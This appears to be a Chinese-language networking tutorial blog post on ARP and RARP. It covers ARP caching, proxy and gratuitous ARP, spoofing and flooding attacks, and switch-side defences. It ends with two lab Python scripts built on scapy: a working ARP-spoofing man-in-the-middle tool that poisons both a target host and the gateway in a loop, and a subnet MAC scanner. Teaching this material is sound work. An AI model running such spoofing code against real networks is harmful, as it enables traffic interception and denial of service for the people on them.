TCP/IP協議 第四章-ARP協議

 

1、什麼是ARP

IP地址解析爲以太網MAC地址(物理地址)的協議

1.1、爲什麼既要有IP地址又要有MAC地址

        IP地址表達的是當前機器在網絡中的位置,類似於城市名+道路號+門牌號的概念。通過ip層的尋址,我們能知道按何種路徑在全世界任意兩臺Internet上的的機器間傳輸數據

        MAC地址的設計不攜帶設備在網絡中的位置信息,通常是不變的。

        由於歷史原因,早期只有鏈路層和物理層。

1.2、ARP協議屬於網絡層還是鏈路層

從功能來看,ARP協議是爲了獲取MAC信息,服務於鏈路層;從包類型來看,它與IP協議都有各自的type類型,一個是0x0806,一個是0x0800,和IP協議平起平坐,屬於網絡層

2、ARP幀格式

2.1、ARP的工作原理

2.2、•爲什麼需要ARP高速緩存?

發送端往往需要有多個IP數據包發送到同一目的端。如果每次都使用ARP協議,開銷很大。

2.3、ARP高速緩存

üARP高速緩存表

          1)動態ARP                    ARP協議自動生成和維護,可以被老化

          2)靜態ARP表                     手工配置和維護,不會被老化             

ü生命週期

          1)動態條目隨時間推移自動添加和刪除

          2)靜態條目一直保留在ARP緩存中,永久生效,

2.4、ARP常用命令

2.5、代理ARP

ARP請求從一個網絡的主機發往另一個網絡,具有代理ARP功能的設備回答該請求,屏蔽了分離的物理網絡。

 

2.6、免費ARP

一個發往自己IP地址的ARP請求。

免費ARP有兩個作用:

ü檢測IP地址衝突:確定另一個主機是否設置了相同的IP地址
ü更新ARP表項:設備改變了硬件地址,通過發送免費ARP報文通知其他設備更新ARP表項

 

3、ARP協議攻擊

 

3.1、漏洞的根源:

üARP協議是無連接
ü沒有ARP請求也可ARP回覆
ü操作系統受到ARP回覆之後會更新緩存

3.2、ARP欺騙攻擊僞造網關

攻擊者發送僞造的網關ARP報文,欺騙同網段內的其他主機。

主機訪問網關的流量,被重定向到一個錯誤的MAC地址,導致該用戶無法正常訪問外網。

3.3、ARP欺騙攻擊欺騙網關

攻擊者僞造虛假的ARP報文,欺騙網關。

網關發給該用戶的所有數據全部重定向到一個錯誤的MAC地址,導致該用戶無法正常訪問外網。

3.4、ARP欺騙攻擊欺騙終端用戶

攻擊者僞造虛假的ARP報文。欺騙相同網段內的其他主機。

網段內的其他主機發給該用戶的所有數據都被重定向到錯誤的MAC地址,同網段內的用戶無法正常互訪。

3.5、ARP泛洪攻擊

攻擊者僞造大量不同ARP報文在同網段內進行廣播,導致網關ARP表項被佔滿,合法用戶的ARP表項無法正常學習,導致合法用戶無法正常訪問外網。

4、ARP攻擊防禦

4.1、網關防禦

Ø合法ARP綁定,防禦網關被欺騙
ØARP數量限制,防禦ARP泛洪攻擊  

4.2、接入設備防禦

Ø網關IP/MAC綁定,過濾掉仿冒網關的報文
Ø合法用戶IP/MAC綁定,過濾掉終端仿冒報文
ØARP限速

4.3、客戶端防禦

Ø綁定網關信息

常見技術

ØDHCP snooping
ØIP Source Guard
Ø交換機端口安全技術
ØMAC訪問控制列表
ØARP報文限速
ØARP mac地址手工綁定

4.4、認證防禦模式

通過增強用戶的認證機制來獲取上線用戶的IP-MAC對應關係,並且利用認證手段來確認當前用戶的合法性。從而有效的解決難以獲取合法用戶的 IP-MAC對應關係的問題。同時通過事先在認證服務器上配置網關的IP-MAC對應關係的方式來幾種管理網絡中存在的網關的IP-MAC信息。當合法用戶上線時,可以利用上述的兩個關鍵信息對網絡中存在的虛假ARP報文以過濾或者綁定合法的ARP信息,從而有效的防禦ARP欺騙行爲。

5、ARP限速

開啓某個端口的ARP報文限速功能後,交換機對每秒內該端口接收的ARP報文數量進行統計,如果每秒收到的ARP報文數量超過設定值,則認爲該端口處於超速狀態(即收到ARP報文攻擊)。此時,交換機將關閉改端口,使其不再接受任何報文,從而避免大量ARP報文攻擊設備。同時設備支持配置端口狀態自動恢復功能,對於配置了ARP限速功能的端口,在其因超速而被交換機關閉後,經過一段時間自動恢復爲開啓狀態。

6、RARP協議

Ø反向地址轉換協議:MAC地址->IP地址
ØRARP協議廣泛用於獲取無盤工作站的IP地址
 
6.1、RARP工作原理
 
1.主機發送一個本地的RARP廣播,在此廣播包中,聲明自己的MAC地址並且請求任何收到此請求的RARP服務器分配一個IP地址
2.本地網段上的RARP服務器收到次請求後,檢查其RARP列表,查找該MAC地址對應的IP地址
3.如果存在,RARP服務器就給源主機發送一個相應數據包將此IP地址提供給對方使用
4.如果不存在,RARP服務器將不做任何響應

  

 

實驗一、arpAttck.py


import threading                                         # 多線程
import time                                              # 和時間相關的模塊
from scapy.all import get_if_hwaddr, sendp              # sendp方法在第二層發送數據包   get_if_hwaddr方法獲取指定網卡的mac地址
from scapy.layers.l2 import getmacbyip,ARP, Ether       # Ether用來構建以太網數據包  ARP是構建ARP數據包的類 getmacbyip方法用於通過ip獲取mac地址
from optparse import OptionParser                       #選項模塊
import arpScanner

def get_mac(tgt_ip):
    '''
    調用scapy的getmacbyip函數,獲取攻擊目標IP的MAC地址。
    '''
    tgt_mac = getmacbyip(tgt_ip)
    if tgt_mac is not None:
        return tgt_mac
    else:
        print("無法獲取IP爲:%s 主機的MAC地址,請檢查目標IP是否存活" % tgt_ip)

def create_arp_station(srcMac, targetMac, gatewayIp, targetIp):
    '''
    生成ARP數據包,僞造網關欺騙目標計算機
    srcMac :本機的MAC地址,充當中間人
    targetMac:目標計算機的MAC
    gatewayIp:網關的IP,將發往網關的數據指向本機(中間人),形成ARP攻擊
    targetIp:目標計算機的IP
    op=is-at,表示ARP響應
    '''
    eth = Ether(src=srcMac, dst=targetMac)
    arp = ARP(hwsrc=srcMac, psrc=gatewayIp, hwdst=targetMac, pdst=targetIp, op="is-at")
    pkt = eth / arp
    return pkt


def create_arp_gateway(srcMac, gatewayMac, targetIp, gatewayIp):
    '''
    生成ARP數據包,僞造目標計算機欺騙網關
    srcMac:本機的MAC地址,充當中間人
    gatewayMac:網關的MAC
    targetIp:目標計算機的IP,將網關發往目標計算機的數據指向本機(中間人),形成ARP攻擊
    gatewayIp:網關的IP
    op=is-at,表示ARP響應
    '''
    eth = Ether(src=srcMac, dst=gatewayMac)
    arp = ARP(hwsrc=srcMac, psrc=targetIp, hwdst=gatewayMac, pdst=gatewayIp, op="is-at")
    pkt = eth / arp
    return pkt


def main():
    """
    主方法
    """

    usage = "Usage: %proc -sm <src_mac> -t <target_ip> -tm <target_mac> -g <gateway_ip> -gm <gateway_mac> -i <interface> -a <all_arp>"
    parser = OptionParser(usage=usage)
    parser.add_option("-s","--srcmac", type="string", dest="srcmac", help="發送源計算機的MAC,如果不提供,默認將採用本機的MAC地址")
    parser.add_option("-t", "--targetip", type="string", dest="targetip",default = "192.168.21.", help="指定目標計算機IP")
    parser.add_option("-v","--targetmac", type="string", dest="targetmac", help="指定目標計算機MAC,如果不提供,默認將根據其IP獲取MAC地址")
    parser.add_option("-g","--gatewayip", type="string", dest="gatewayip", default = "192.168.21.1", help="指定網關IP")
    parser.add_option("-y","--gatewaymac", type="string", dest="gatewaymac", default = "80:e8:6f:3a:8e:d4", help="指定網關MAC,如果不提供,默認將根據其IP獲取MAC地址")
    parser.add_option("-i","--interface", type="string", dest="interface", help="指定使用的網卡")
    (options, args) = parser.parse_args()

    targetIp = options.targetip
    gatewayIp = options.gatewayip
    srcMac = options.srcmac
    targetMac = options.targetmac
    gatewayMac = options.gatewaymac
    interface = options.interface

    if targetIp is None or gatewayIp is None:
        print("targetip and gatewayip is necessary!")
        return

    if targetMac is None:
        targetMac = arpScanner.sweep(targetIp)
    print("目標計算機IP地址:",  targetIp,  ", 目標計算機MAC地址: " , targetMac)

    if gatewayMac is None:
        gatewayMac = arpScanner.sweep(gatewayIp)
    print("網關IP地址:", gatewayIp, ", 網關MAC地址: ", gatewayMac)
    input('按任意鍵繼續:')

    pktStation = create_arp_station(srcMac, targetMac, gatewayIp, targetIp)
    pktGateway = create_arp_gateway(srcMac, gatewayMac, targetIp, gatewayIp)
    i = 1
    while True:
        t = threading.Thread(
            target=sendp,
            args=(pktStation,),
            kwargs={'inter': 1, 'iface': interface}#創建進程
        )
        t.start()
        t.join()
        print(str(i) + " [*]發送一個計算機ARP欺騙包")

        s = threading.Thread(
            target=sendp,
            args=(pktGateway,),
            kwargs={'inter': 1, 'iface': interface}
        )
        s.start()
        s.join()
        print(str(i) + " [*]發送一個網關ARP欺騙包")
        i += 1
        time.sleep(1)
if __name__ == '__main__':
    main()

實驗二、arpScanner.py

#!python3
#coding=utf-8

from scapy.all import *             #最重要的模塊
from threading import Thread        #多線程模塊,加快掃描速度
from optparse import OptionParser   #選項模塊

from scapy.layers.l2 import Ether, ARP

def sweep(ip, showPackage=0):
    """
    通過ip找到對應的MAC地址
    """
    try:
        pakt=Ether(dst="ff:ff:ff:ff:ff:ff",src="f4:8e:38:af:73:a5")/ARP(hwsrc="f4:8e:38:af:73:a5",psrc="10.10.40.49",hwdst="00:00:00:00:00:00",pdst=ip)#構造一個arp包
        result=srp1(pakt,timeout=1,verbose=0)#定義發送的模式 sr爲三層的包 srp爲只發不收
        if result:
            time.sleep(0.1)#延遲0.1
            print(result[ARP].psrc, "----------->", result[ARP].hwsrc)
            if showPackage == 1:
                print("send package:")
                hexdump(pakt);
                print("receive package:")
                hexdump(result)
            return result[ARP].hwsrc
    except:
        return None

def main():
    """
    主方法
    遍歷整個子網的ip地址,發現對應的mac地址
    """
    usage="Usage: %proc -i <ip address>"
    parser=OptionParser(usage=usage)
    parser.add_option("-i","--ip",type="string",dest="address",default='192.168.21.252',help="specify the IP address")
    (options, args)=parser.parse_args()
    print(options)
    print(args)
    address = options.address
    if address.endswith(".0"):
        prefix=address.split(".")[0]+"."+address.split(".")[1]+"."+address.split(".")[2]+"."#分割ip地址
        for i in range(1,255):
            ip=prefix+str(i)
            t=Thread(target=sweep,args=(ip,))
            t.start()
    else :
        ip = address
        t = Thread(target=sweep, args=(ip,1))
        t.start()


if __name__ == '__main__':
    main()

 

感謝:wangyh

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章